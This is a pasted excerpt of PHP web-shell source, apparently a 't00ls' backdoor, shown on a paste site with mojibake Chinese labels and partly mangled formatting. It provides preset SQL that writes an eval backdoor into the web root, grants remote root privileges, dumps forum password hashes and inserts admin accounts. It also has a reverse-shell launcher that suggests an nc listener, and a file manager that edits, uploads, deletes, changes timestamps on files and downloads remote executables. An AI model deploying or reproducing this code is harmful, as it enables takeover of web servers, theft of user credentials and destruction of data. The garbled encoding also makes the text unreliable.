  892. echo 'Ӄ맠<input type="text" name="sqluser" style="width:108px;" value="' . $sqluser . '"> ';
  893. echo 'Ü« <input type="text" name="sqlpass" style="width:108px;" value="' . $sqlpass . '"> ';
  894. echo '렼input type="text" name="sqlname" style="width:108px;" value="' . $sqlname . '"></td></tr>';
  895. echo '<tr><td>ӯbr>';
  896. echo '<select onchange="$(\'sqlcode\').value=options[selectedIndex].value">';
  897. echo '<option value="select version();">---ӯﺏ---</option>';
  898. echo '<option value="select \'<?php eval ($_POST[cmd]);?>\' into outfile \'D:/web/shell.php\';">дȫ΄쾼/option>';
  899. echo '<option value="GRANT ALL PRIVILEGES ON *.* TO \'' . $sqluser . '\'@\'%\' IDENTIFIED BY \'' . $sqlpass . '\' WITH GRANT OPTION;">惘䍢l</option>';
  900. echo '<option value="show variables;">ϵͳᤁOoption>';
  901. echo '<option value="create database t00ls;">䴽芽⼯option>';
  902. echo '<option value="create table `t00ls` (`id` INT(10) NOT NULL ,`user` VARCHAR(32) NOT NULL ,`pass` VARCHAR(32) NOT NULL) TYPE = MYISAM;">䴽芽�option>';
  903. echo '<option value="show databases;">ϔʾʽ⼯option>';
  904. echo '<option value="show tables from `' . $sqlname . '`;">ϔʾʽ�option>';
  905. echo '<option value="show columns from `t00ls`;">ϔʾ᭽ṹ</option>';
  906. echo '<option value="drop table `t00ls`;">ɾ㽊�᭼/option>';
  907. echo '<option value="select username,password,salt,email from `pre_ucenter_members` limit 0,30;">ϔʾז掼/option>';
  908. echo '<option value="insert into `admin` (`user`,`pass`) values (\'t00ls\', \'f1a81d782dea6a19bdca383bffe68452\');">⥈늽/option>';
  909. echo '<option value="update `admin` set `user` = \'t00ls1\',`pass` = \'50de237e389600acadbeda3d6e6e0b1f\' where `user` = \'t00ls\' and `pass` = \'f1a81d782dea6a19bdca383bffe68452\' limit 1;">О脊�</option>';
  910. echo '<option value="t00lsa \'discuzx25\' t00lsb \'pre_ucenter_members\' t00lsc \'username,password,salt,email\' t00lsfile \'' . THISDIR . 'out.txt\';">͑MySql)</option>';
  911. echo '</select>';
  912. echo '</td><td><textarea name="sqlcode" id="sqlcode" style="width:680px;height:80px;">' . htmlspecialchars($sqlcode) . '</textarea></td></tr>';
  913. echo '<tr><td>♗缯td><td><select name="names">';
  914. $charsets = array(
  915. 'gbk',
  916. 'utf8',
  917. 'big5',
  918. 'latin1',
  919. 'cp866',
  920. 'ujis',
  921. 'euckr',
  922. 'koi8r',
  923. 'koi8u'
  924. );
  925. foreach($charsets as $charset)
  926. {
  927. echo '<option value="' . $charset . '"' . ($names == $charset ? ' selected' : '') . '>' . $charset . '</option>';
  928. }
  929.  
  930. echo '</select> <input type="submit" style="width:80px;" value="ִА"></td></tr>';
  931. echo '</table></form>';
  932. if ($rows)
  933. {
  934. echo '<pre style="padding:5px;background:#F8F8F8;text-align:left;">';
  935. ob_start();
  936. print_r($rows);
  937. $out = ob_get_contents();
  938. ob_end_clean();
  939. if (preg_match('~[\x{4e00}-\x{9fa5}]+~u', $out) && function_exists('iconv'))
  940. {
  941. $out = @iconv('UTF-8', 'GB2312//IGNORE', $out);
  942. }
  943.  
  944. echo htmlspecialchars($out);
  945. echo '</pre>';
  946. }
  947.  
  948. break;
  949.  
  950. case "backshell":
  951. if ((!empty($_POST['backip'])) && (!empty($_POST['backport'])))
  952. {
  953. $backip = $_POST['backip'];
  954. $backport = $_POST['backport'];
  955. $temp = $_POST['temp'] ? $_POST['temp'] : '/tmp';
  956. $type = $_POST['type'];
  957. $msg = backshell($backip, $backport, $temp, $type);
  958. }
  959. else
  960. {
  961. $backip = $_SERVER['REMOTE_ADDR'];
  962. $backport = '443';
  963. $temp = '/tmp';
  964. $type = 'pl';
  965. }
  966.  
  967. echo '<div class="msgbox">' . $msg . '</div>';
  968. echo '<form method="POST">';
  969. subeval();
  970. echo '<input type="hidden" name="go" id="go" value="backshell">';
  971. echo '<table class="tables"><tr><th style="width:15%;">ûㆼ/th><th>ɨփ</th></tr>';
  972. echo '<tr><td>紵ﵘַ</td><td><input type="text" name="backip" style="width:268px;" value="' . $backip . '"> (Your ip)</td></tr>';
  973. echo '<tr><td>紵ﶋ/td><td><input type="text" name="backport" style="width:268px;" value="' . $backport . '"> (nc -vvlp ' . $backport . ')</td></tr>';
  974. echo '<tr><td>YʱĿ¼</td><td><input type="text" name="temp" style="width:268px;" value="' . $temp . '"> (Only Linux)</td></tr>';
  975. echo '<tr><td>紵﷽稼/td><td>';
  976. $types = array(
  977. 'pl' => 'Perl',
  978. 'py' => 'Python',
  979. 'c' => 'C-bin',
  980. 'pcntl' => 'Pcntl',
  981. 'php' => 'PHP',
  982. 'phpwin' => 'PHP-WS'
  983. );
  984. foreach($types as $key => $name)
  985. {
  986. echo '<label><input type="radio" name="type" value="' . $key . '"' . ($key == $type ? ' checked' : '') . '>' . $name . '</label> ';
  987. }
  988.  
  989. echo '</td></tr><tr><td>♗缯td><td><input type="submit" style="width:80px;" value="紵</td></tr>';
  990. echo '</table></form>';
  991. break;
  992.  
  993. case "edit":
  994. case "editor":
  995. $file = strdir($_POST['godir'] . '/' . $_POST['govar']);
  996. $iconv = function_exists('iconv');
  997. if (!file_exists($file))
  998. {
  999. $msg = 'ᾐ½莄쾡炙} else {$code = filer($file);$chst = 'Ĭȏ';if(preg_match(' ~ [x
  1000. {
  1001. 4e00
  1002. } - x
  1003. {
  1004. 9fa5
  1005. }
  1006.  
  1007. ] + ~u',$code) && $iconv) { $chst = 'utf - 8'; $code = @iconv('UTF - 8','GB2312 //IGNORE',$code); }$size = size(filesize($file));$msg = 'ᾎļД '.substr(decoct(fileperms($file)),-4).'ῠᾎļС '.$size.'ῠᾎļ« '.$chst.'ῧ;}echo base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKSB7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKSByZXR1cm4gZmFsc2U7DQoJdHh0ID0gJCgnZmlsZWNvZGUnKS5jcmVhdGVUZXh0UmFuZ2UoKTsNCglmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCXR4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIDEpOw0KCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKTsNCgl9DQoJaWYoZm91bmQpeyB0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7IHR4dC5maW5kVGV4dChzdHIpOyB0eHQuc2VsZWN0KCk7IHR4dC5zY3JvbGxJbnRvVmlldygpOyBuKys7IH0NCgllbHNlIHsgaWYgKG4gPiAwKSB7IG4gPSAwOyBzZWFyY2goc3RyKTsgfSBlbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg==');echo '<div class="msgbox"><input name="keyword" id="keyword" type="text" style="width:138px;height:15px;"><input type="button" value="IE⩕҄ڈݢ onclick="search($(\'keyword\').value);"> - '.$msg.'</div>';echo '<form name="editfrm" id="editfrm" method="POST">';subeval();echo '<input type="hidden" name="go" value=""><input type="hidden" name="act" id="act" value="edit">';echo '<input type="hidden" name="dir" id="dir" value="'.dirname($file).'">';echo '<div class="actall">΄쾠<input type="text" name="filename" value="'.$file.'" style="width:528px;"> ';if($iconv) {echo '᠂렼select name="tostr">';$selects = array('normal' => 'Ĭȏ','utf' => 'utf-8');foreach($selects as $var => $name) { echo '<option value="'.$var.'"'.($name == $chst ? ' selected' : '').'>'.$name.'</option>'; }echo '</select>';}echo '</div><div class="actall"><textarea name="filecode" id="filecode" style="width:698px;height:358px;">'.htmlspecialchars($code).'</textarea></div></form>';echo '<div class="actall" style="padding:5px;padding-right:68px;"><input type="button" onclick="$(\'editfrm\').submit();" value="ᣴ梠style="width:80px;"> ';echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="'.dirname($file).'">';subeval();echo '<input type="button" onclick="$(\'backfrm\').submit();" value="絻آ style="width:80px;"></form></div>';break;case "upfiles" : $updir = isset($_POST['updir']) ? $_POST['updir'] : $_POST['godir'];$msg = 'ᾗɏ䫎ļ.get_cfg_var("upload_max_filesize").'ῠᾐOST׮䳌ύʽ'.get_cfg_var("post_max_size").'ῧ;$max = 10;if(isset($_FILES['uploads']) && isset($_POST['renames'])) {$uploads = $_FILES['uploads'];$msgs = array();for($i = 1;$i < $max;$i++) {if($uploads['error'][$i] == UPLOAD_ERR_OK) {$rename = $_POST['renames'][$i] == '' ? $uploads['name'][$i] : $_POST['renames'][$i];$filea = $uploads['tmp_name'][$i];$fileb = strdir($updir.'/'.$rename);$msgs[$i] = fileu($filea,$fileb) ? '<br /><h2>ɏ䫳ɹ栧.$rename.'</h2>' : '<br /><h1>ɏ䫊簜 '.$rename.'</h1>';}}}echo '<div class="msgbox">'.$msg.'</div>';echo '<form name="upsfrm" id="upsfrm" method="POST" enctype="multipart/form-data">';subeval();echo '<input type="hidden" name="go" value="upfiles"><input type="hidden" name="act" id="act" value="upload">';echo '<div class="actall"><p>ɏ䫵턿¼ <input type="text" name="updir" style="width:398px;" value="'.$updir.'"></p>';for($i = 1;$i < $max;$i++) { echo '<p>轼$i.' <input type="file" name="uploads['.$i.']" style="width:300px;"> ֘üû <input type="text" name="renames['.$i.']" style="width:128px;"> '.$msgs[$i].'</p>'; }echo '</div></form><div class="actall" style="padding:8px;padding-right:68px;"><input type="button" onclick="$(\'upsfrm\').submit();" value="ɏ䫢 style="width:80px;"> ';echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="'.$updir.'">';subeval();echo '<input type="button" onclick="$(\'backfrm\').submit();" value="絻آ style="width:80px;"></form></div>';break;default : if(isset($_FILES['upfile'])) {if($_FILES['upfile']['name'] == '') { $msg = '<h1>ǫѡԱ΄쾼/h1>'; }else { $rename = $_POST['rename'] == '' ? $_FILES['upfile']['name'] : $_POST['rename']; $filea = $_FILES['upfile']['tmp_name']; $fileb = strdir($nowdir.$rename); $msg = fileu($filea,$fileb) ? '<h2>ɏ䫎ļ$rename.'㉹漯h2>' : '<h1>ɏ䫎ļ$rename.'ʧܼ/h1>'; }}if(isset($_POST['act'])) {switch($_POST['act']) {case "a" : if(!$_POST['files']) { $msg = '<h1>ǫѡԱ΄쾠'.$_POST['var'].'</h1>'; }else { $i = 0; foreach($_POST['files'] as $filename) { $i += @copy(strdir($nowdir.$filename),strdir($_POST['var'].'/'.$filename)) ? 1 : 0; } $msg = $msg = $i ? '<h2>鲸䖆 '.$i.' 趎ļ'.$_POST['var'].'㉹漯h2>' : '<h1>鲸䖆 '.$i.' 趎ļ'.$_POST['var'].'ʧܼ/h1>'; }break;case "b" : if(!$_POST['files']) { $msg = '<h1>ǫѡԱ΄쾼/h1>'; }else { $i = 0; foreach($_POST['files'] as $filename) { $i += @unlink(strdir($nowdir.$filename)) ? 1 : 0; } $msg = $i ? '<h2>鲉 '.$i.' 趎ļ馼/h2>' : '<h1>鲉 '.$i.' 趎ļܼ/h1>'; }break;case "c" : if(!$_POST['files']) { $msg = '<h1>ǫѡԱ΄쾠'.$_POST['var'].'</h1>'; }elseif(!ereg("^[0-7]{4}$",$_POST['var'])) { $msg = '<h1>ʴДֵ䭎㼯h1>'; }else { $i = 0; foreach($_POST['files'] as $filename) { $i += @chmod(strdir($nowdir.$filename),base_convert($_POST['var'],8,10)) ? 1 : 0; } $msg = $i ? '<h2>鲠'.$i.' 趎ļ脊䐔Ϊ'.$_POST['var'].'㉹漯h2>' : '<h1>鲠'.$i.' 趎ļ脊䐔Ϊ'.$_POST['var'].'ʧܼ/h1>'; }break;case "d" : if(!$_POST['files']) { $msg = '<h1>ǫѡԱ΄쾠'.$_POST['var'].'</h1>'; }elseif(!preg_match('/(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)/',$_POST['var'])) { $msg = '<h1>ʱ줸ኽ䭎㠧.$_POST['var'].'</h1>'; }else { $i = 0; foreach($_POST['files'] as $filename) { $i += @touch(strdir($nowdir.$filename),strtotime($_POST['var'])) ? 1 : 0; } $msg = $i ? '<h2>鲠'.$i.' 趎ļ脊ἤΪ'.$_POST['var'].'㉹漯h2>' : '<h1>鲠'.$i.' 趎ļ脊ἤΪ'.$_POST['var'].'ʧܼ/h1>'; }break;case "e" : $path = strdir($nowdir.$_POST['var'].'/');if(file_exists($path)) { $msg = '<h1>Ŀ¼ґ䦔ڠ'.$_POST['var'].'</h1>'; }else { $msg = @mkdir($path,0777) ? '<h2>䴽脿¼ '.$_POST['var'].' ㉹漯h2>' : '<h1>䴽脿¼ '.$_POST['var'].' ʧܼ/h1>'; }break;case "f" : $context = array('http' => array('timeout' => 30));if(function_exists('stream_context_create')) { $stream = stream_context_create($context); }$data = @file_get_contents ($_POST['var'],false,$stream);$filename = array_pop(explode('/',$_POST['var']));if($data) { $msg = filew(strdir($nowdir.$filename),$data,'wb') ? '<h2>ςԘ '.$filename.' ㉹漯h2>' : '<h1>ςԘ '.$filename.' ʧܼ/h1>'; } else { $msg = '<h1>ςԘʧܻⲻ֧㖏”ؼ/h1>'; }break;case "rf" : $files = explode('|x|',$_POST['var']);if(count($files) != 2) { $msg = '<h1>ʤȫ䭎㼯h1>'; }else { $msg = @rename(strdir($nowdir.$files[1]),strdir($nowdir.$files[0])) ? '<h2>֘üû '.$files[1].' Ϊ '.$files[0].' ㉹漯h2>' : '<h1>֘üû '.$files[1].' Ϊ '.$files[0].' ʧܼ/h1>'; }break;case "pd" : $files = explode('|x|',$_POST['var']);if(count($files) != 2) { $msg = '<h1>ʤȫ䭎㼯h1>'; }else { $path = strdir($nowdir.$files[1]); $msg = @chmod($path,base_convert($files[0],8,10)) ? '<h2>О脧.$files[1].'ʴДΪ'.$files[0].'㉹漯h2>' : '<h1>О脧.$files[1].'ʴДΪ'.$files[0].'ʧܼ/h1>'; }break;case "edit" : if(isset($_POST['filename']) && isset($_POST['filecode'])) { if($_POST['tostr'] == 'utf') { $_POST['filecode'] = @iconv('GB2312//IGNORE','UTF-8',$_POST['filecode']); } $msg = filew($_POST['filename'],$_POST['filecode'],'w') ? '<h2>ᣴ泉馠'.$_POST['filename'].'</h2>' : '<h1>ᣴ抧ܠ'.$_POST['filename'].'</h1>'; }break;case "deltree" : $deldir = strdir($nowdir.$_POST['var'].'/');if(!file_exists($deldir)) { $msg = '<h1>Ŀ¼ '.$_POST['var'].' ⻴攚</h1>'; }else { $msg = deltree($deldir) ? '<h2>ɾ㽄 '.$_POST['var'].' ㉹漯h2>' : '<h1>ɾ㽄 '.$_POST['var'].' ʧܼ/h1>'; }break;}}$chmod = substr(decoct(fileperms($nowdir)),-4);if(!$chmod) { $msg .= ' - <h1>Ξ稶Hᄿ¼</h1>'; }$array = showdir($nowdir);$thisurl = strdir('/'.strtr($nowdir,array(ROOTDIR => '')).'/');$nowdir = strtr($nowdir,array('\'' => '%27','"' => '%22'));echo '<div class="msgbox">'.$msg.'</div>';echo '<div class="actall"><form name="frm" id="frm" method="POST">';subeval();echo (is_writable($nowdir) ? '<h2>·/h2>' : '<h1>·/h1>').' <input type="text" name="dir" id="dir" style="width:508px;" value="'.strdir($nowdir.'/').'"> ';echo '<input type="button" onclick="$(\'frm\').submit();" style="width:50px;" value="ת形> ';echo '<input type="button" onclick="cd(\''.ROOTDIR.'\');" style="width:68px;" value="蹄"> ';echo '<input type="button" onclick="cd(\''.THISDIR.'\');" style="width:68px;" value="㌐ℿ¼"> ';echo '<select onchange="cd(options[selectedIndex].value);">';echo '<option>---̘ʢĿ¼---</option>';echo '<option value="C:/RECYCLER/">Win-RECYCLER</option>';echo '<option value="C:/$Recycle.Bin/">Win-$Recycle</option>';echo '<option value="C:/Program Files/">Win-Program</option>';echo '<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup/">Win-Startup</option>';echo '<option value="C:/Documents and Settings/All Users/ḿꊼṲ˵寳̐⯆䶯/">Win-ƴ毼/option>';echo '<option value="C:/Windows/Temp/">Win-TEMP</option>';echo '<option value="/usr/local/">Linux-local</option>';echo '<option value="/tmp/">Linux-tmp</option>';echo '<option value="/var/tmp/">Linux-var</option>';echo '<option value="/etc/ssh/">Linux-ssh</option>';echo '</select></form></div><div class="actall">';echo '<input type="button" value="Ђ�ļonclick="nf(\'edit\',\'newfile.php\');" style="width:68px;"> ';echo '<input type="button" value="䴽脿¼" onclick="txts(\'Ŀ¼û\',\'newdir\',\'e\');" style="width:68px;"> ';echo '<input type="button" value="ςԘ΄쾢 onclick="txts(\'ςԘ΄쾵�ǰĿ¼\',\'http://www.baidu.com/cmd.exe\',\'f\');" style="width:68px;"> ';echo '<input type="button" value="źɏ䫢 onclick="go(\'upfiles\',\''.$nowdir.'\');" style="width:68px;"> ';echo '<form name="upfrm" id="upfrm" method="POST" enctype="multipart/form-data">';subeval();echo '<input type="hidden" name="dir" id="dir" value="'.$nowdir.'">';echo '<input type="file" name="upfile" style="width:286px;height:21px;"> ';echo '<input type="button" onclick="$(\'upfrm\').submit();" value="ɏ䫢 style="width:50px;"> ';echo 'ɏ䫖؃샻Ϊ <input type="text" name="rename" style="width:128px;">';echo '</form></div>';echo '<form name="frm1" id="frm1" method="POST"><table class="tables">';subeval();echo '<input type="hidden" name="dir" id="dir" value="'.$nowdir.'">';echo '<input type="hidden" name="act" id="act" value="">';echo '<input type="hidden" name="var" id="var" value="">';echo '<th><a href="javascript:void(0);" onclick="cd(\''.dirname($nowdir).'/\');">ɏ춄</a></th><th style="width:8%">♗缯th><th style="width:5%">ʴД</th><th style="width:17%">䴽花줼/th><th style="width:17%">О脊ἤ</th><th style="width:8%">ςԘ</th>';if($array) {asort($array['dir']);asort($array['file']);$dnum = $fnum = 0;foreach($array['dir'] as $path => $name) {$prem = substr(decoct(fileperms($path)),-4);$ctime = date('Y-m-d H:i:s',filectime($path));$mtime = date('Y-m-d H:i:s',filemtime($path));echo '<tr>';echo '<td><a href="javascript:void(0);" onclick="cd(\''.$nowdir.$name.'\');"><b>'.strtr($name,array('%27' => '\'','%22' => '"')).'</b></a></td>';echo '<td><a href="javascript:void(0);" onclick="dels(\''.$name.'\');">ɾ㽼/a> ';echo '<a href="javascript:void(0);" onclick="acts(\''.$name.'\',\'rf\',\''.$name.'\');">脃뼯a></td>';echo '<td><a href="javascript:void(0);" onclick="acts(\''.$prem.'\',\'pd\',\''.$name.'\');">'.$prem.'</a></td>';echo '<td>'.$ctime.'</td>';echo '<td>'.$mtime.'</td>';echo '<td>-</td>';echo '</tr>';$dnum++;}foreach($array['file'] as $path => $name) {$prem = substr(decoct(fileperms($path)),-4);$ctime = date('Y-m-d H:i:s',filectime($path));$mtime = date('Y-m-d H:i:s',filemtime($path));$size = size(filesize($path));echo '<tr>';echo '<td><input type="checkbox" name="files[]" value="'.$name.'"><a target="_blank" href="'.$thisurl.$name.'">'.strtr($name,array('%27' => '\'','%22' => '"')).'</a></td>';echo '<td><a href="javascript:void(0);" onclick="go(\'edit\',\''.$name.'\');">ᠼ�a> ';echo '<a href="javascript:void(0);" onclick="acts(\''.$name.'\',\'rf\',\''.$name.'\');">脃뼯a></td>';echo '<td><a href="javascript:void(0);" onclick="acts(\''.$prem.'\',\'pd\',\''.$name.'\');">'.$prem.'</a></td>';echo '<td>'.$ctime.'</td>';echo '<td>'.$mtime.'</td>';echo '<td align="right"><a href="javascript:void(0);" onclick="go(\'down\',\''.$name.'\');">'.$size.'</a></td>';echo '</tr>';$fnum++;}}unset($array);echo '</table>';echo '<div class="actall" style="text-align:left;">';echo '<input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> ';echo '<input type="button" value="贖Ƣ style="width:50px;" onclick=\'txts("贖Ƃ羶","'.$nowdir.'","a");\'> ';echo '<input type="button" value="ɾ㽢 style="width:50px;" onclick=\'dels("b");\'> ';echo '<input type="button" value="ʴД" style="width:50px;" onclick=\'txts("ʴДֵ","0666","c");\'> ';echo '<input type="button" value="ʱ줢 style="width:50px;" onclick=\'txts("О脊ἤ","'.$mtime.'","d");\'> ';echo 'Ŀ¼['.$dnum.'] - ΄쾛'.$fnum.'] - ʴД['.$chmod.']</div></form>';break;}
  1008.  
  1009. ?><div class="footag">
  1010. <?php
  1011. echo php_uname() . '<br />' . $_SERVER['SERVER_SOFTWARE']; ?></div></div></div></body></html>
  1012. <?php
  1013. unset($array);
  1014. ?>
Add Comment
Please, Sign In to add comment